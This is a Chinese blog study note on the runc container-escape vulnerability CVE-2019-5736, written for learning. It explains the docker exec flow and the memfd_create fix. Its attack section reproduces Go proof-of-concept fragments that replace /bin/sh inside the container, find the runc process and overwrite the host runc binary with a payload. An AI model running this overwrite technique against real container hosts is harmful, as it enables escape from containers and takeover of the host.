CVE-2019-5736 容器 exec 逃逸漏洞 学习

CVE-2019-5736-PoC

  今天初看 youki 源码的时候,看到一个很有意思的代码,注释表明是和 CVE-2019-5736 漏洞相关,故而记录相关笔记。

    pentacle::ensure_sealed().context("failed to seal /proc/self/exe")?;

// pentacle::ensure_sealed()
/// Ensure the currently running program is a sealed anonymous file.
///
/// If `/proc/self/exe` is not a sealed anonymous file, a new anonymous file is created,
/// `/proc/self/exe` is copied to it, the file is sealed, and [`CommandExt::exec`] is called. When
/// the program begins again, this function will detect `/proc/self/exe` as a sealed anonymous
/// file and return `Ok(())`.

exec 流程

  故障版本:RunC version <=1.0-rc6

  参考 《手写 docker》进行理解,docker exec 进入容器的时候,流程如下:

image.png

  1. 解析命令、找到容器,设置环境变量(1、2、3)

  2. 调用 /proc/self/exe,fork 新进程,并关联宿主机的输入输出管道(4、5、6)

    func ExecContainer(containerName string, comArray []string) {
    	pid, err := getContainerPidByName(containerName)
    	if err != nil {
    		log.Errorf("Exec container getContainerPidByName %s error %v", containerName, err)
    		return
    	}
    	cmdStr := strings.Join(comArray, " ")
    	log.Infof("container pid %s", pid)
    	log.Infof("command %s", cmdStr)
    
    	cmd := exec.Command("/proc/self/exe", "exec")
    	cmd.Stdin = os.Stdin
    	cmd.Stdout = os.Stdout
    	cmd.Stderr = os.Stderr
    
    	os.Setenv(ENV_EXEC_PID, pid)
    	os.Setenv(ENV_EXEC_CMD, cmdStr)
    
    	if err := cmd.Run(); err != nil {
    		log.Errorf("Exec container %s error %v", containerName, err)
    	}
    }
    
  3. 新进程 setns 系统,进入容器的 namespace ,执行命令(7、8)

  ‍

攻击方式

  攻击的前提条件:容器以特权模式运行,因此容器内部可以修改宿主机的 runc 二进制文件。

  ‍

  问题就出在第二步上。当容器被攻击侵入后,将容器内目前执行文件(如 /bin/sh)替换为了 /proc/self/exe。执行 docker exec xx /bin/sh 时,此时 /proc/self/exe 是宿主机上的容器运行时的程序链接(即 runc)。

	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")

  这个时候,恶意程序开始遍历查找 runc 的进程(注意查找的动作也是由 runc 进程完成的,因为这个时候本质上面流程的第 7 步),并拿到 runc 的文件描述符句柄。

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// 拿到句柄
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}

  攻击者可以尝试覆盖 runc,替换为攻击代码 payload

因为在 runC 执行过程中内核不允许二进制文件被覆盖。要克服这个问题,攻击者可以用 O_PATH 标志打开到 /proc/self/exe 的文件描述符,然后通过 /proc/self/fd/ 以 O_WRONLY 模式重新打开该二进制文件,并从单独的进程在一个忙碌循环中尝试写入它。

	// payload 是攻击代码
	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}

  因为 runc 是运行在宿主机上的,因此这个时候 payload 攻击代码 将由宿主机发起,带来风险。

  ‍

解决措施

  思路:当执行 exec 命令时,使用 memfd_create 克隆一份 /proc/self/exe,而非使用原本的 /proc/self/exe.

  https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b#diff-6383238247e090d88ade6343c0ef59dd09b3c10634bf0584e78445b843c55ab0

  https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d

memfd_create

  可以理解为将文件拷贝到内存中。

  好处:

  1. 更快(相对硬盘)
  2. 防止原本的二进制文件 runc 被修改。
  3. 由于匿名且封闭,因此无法被修改。

  缺点:

  1. 无法进行 page-cache sharing。(因为每次都是独立的内存复制)
memfd_create()  creates  an  anonymous file and returns a file descriptor that refers to it.  The file behaves
       like a regular file, and so can be modified, truncated, memory-mapped, and so on.  However, unlike  a  regular
       file,  it lives in RAM and has a volatile backing storage.  Once all references to the file are dropped, it is
       automatically released.  Anonymous memory is used for all backing pages of the file.  Therefore, files created
       by  memfd_create() have the same semantics as other anonymous memory allocations such as those allocated using
       mmap(2) with the MAP_ANONYMOUS flag.
  • Docker

    Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的操作系统上。容器完全使用沙箱机制,几乎没有性能开销,可以很容易地在机器和数据中心中运行。

    492 引用 • 926 回帖
  • 漏洞
    19 引用 • 27 回帖 • 1 关注

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...